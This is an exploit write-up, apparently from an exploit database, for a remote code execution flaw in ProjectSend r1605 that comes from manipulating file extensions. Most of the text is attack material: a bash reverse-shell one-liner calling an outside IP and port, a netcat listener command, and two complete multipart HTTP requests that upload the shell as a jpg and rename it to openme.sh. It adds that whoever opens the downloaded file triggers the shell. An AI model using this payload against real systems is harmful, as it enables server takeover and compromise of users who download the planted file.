d46ab98863
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4.1 KiB
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132 lines
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4.1 KiB
Text
Exploit Title: projectSend r1605 - Remote Code Exectution RCE
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Application: projectSend
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Version: r1605
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Bugs: rce via file extension manipulation
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Technology: PHP
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Vendor URL: https://www.projectsend.org/
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Software Link: https://www.projectsend.org/
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Date of found: 26-01-2023
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Author: Mirabbas Ağalarov
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Tested on: Linux
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POC video: https://youtu.be/Ln7KluDfnk4
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2. Technical Details & POC
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========================================
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1.The attacker first creates a txt file and pastes the following code. Next, the Attacker changes the file extension to jpg. Because the system php,sh,exe etc. It does not allow files.
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bash -i >& /dev/tcp/192.168.100.18/4444 0>&1
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2.Then the attacker starts listening for ip and port
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nc -lvp 4444
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3.and when uploading file it makes http request as below.file name should be like this openme.sh;jpg
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POST /includes/upload.process.php HTTP/1.1
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Host: localhost
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Content-Length: 525
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sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
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sec-ch-ua-platform: "Linux"
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sec-ch-ua-mobile: ?0
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0enbZuQQAtahFVjI
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Accept: */*
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Origin: http://localhost
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: cors
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Sec-Fetch-Dest: empty
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Referer: http://localhost/upload.php
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: download_started=false; PHPSESSID=jtk7d0nats7nb1r5rjm7a6kj59
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Connection: close
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------WebKitFormBoundary0enbZuQQAtahFVjI
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Content-Disposition: form-data; name="name"
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openme.sh;jpg
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------WebKitFormBoundary0enbZuQQAtahFVjI
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Content-Disposition: form-data; name="chunk"
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0
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------WebKitFormBoundary0enbZuQQAtahFVjI
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Content-Disposition: form-data; name="chunks"
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1
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------WebKitFormBoundary0enbZuQQAtahFVjI
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Content-Disposition: form-data; name="file"; filename="blob"
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Content-Type: application/octet-stream
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bash -i >& /dev/tcp/192.168.100.18/4444 0>&1
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------WebKitFormBoundary0enbZuQQAtahFVjI--
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4.In the second request, we do this to the filename section at the bottom.
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openme.sh
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POST /files-edit.php?ids=34 HTTP/1.1
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Host: localhost
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Content-Length: 1016
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Cache-Control: max-age=0
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sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
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sec-ch-ua-mobile: ?0
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sec-ch-ua-platform: "Linux"
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Upgrade-Insecure-Requests: 1
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Origin: http://localhost
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc8btjvyb3An7HcmA
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Sec-Fetch-Dest: document
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Referer: http://localhost/files-edit.php?ids=34&type=new
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: download_started=false; PHPSESSID=jtk7d0nats7nb1r5rjm7a6kj59
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Connection: close
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------WebKitFormBoundaryc8btjvyb3An7HcmA
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Content-Disposition: form-data; name="csrf_token"
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66540808a4bd64c0f0566e6c20a4bc36c49dfac41172788424c6924b15b18d02
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------WebKitFormBoundaryc8btjvyb3An7HcmA
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Content-Disposition: form-data; name="file[1][id]"
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34
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------WebKitFormBoundaryc8btjvyb3An7HcmA
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Content-Disposition: form-data; name="file[1][original]"
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openme.sh;.jpg
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------WebKitFormBoundaryc8btjvyb3An7HcmA
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Content-Disposition: form-data; name="file[1][file]"
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1674759035-52e51cf3f58377b8a687d49b960a58dfc677f0ad-openmesh.jpg
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------WebKitFormBoundaryc8btjvyb3An7HcmA
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Content-Disposition: form-data; name="file[1][name]"
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openme.sh
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------WebKitFormBoundaryc8btjvyb3An7HcmA
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Content-Disposition: form-data; name="file[1][description]"
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------WebKitFormBoundaryc8btjvyb3An7HcmA
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Content-Disposition: form-data; name="file[1][expiry_date]"
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25-02-2023
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------WebKitFormBoundaryc8btjvyb3An7HcmA
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Content-Disposition: form-data; name="save"
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------WebKitFormBoundaryc8btjvyb3An7HcmA--
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And it doesn't matter who downloads your file. if it opens then reverse shell will be triggered and rce
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private youtube video poc : https://youtu.be/Ln7KluDfnk4 |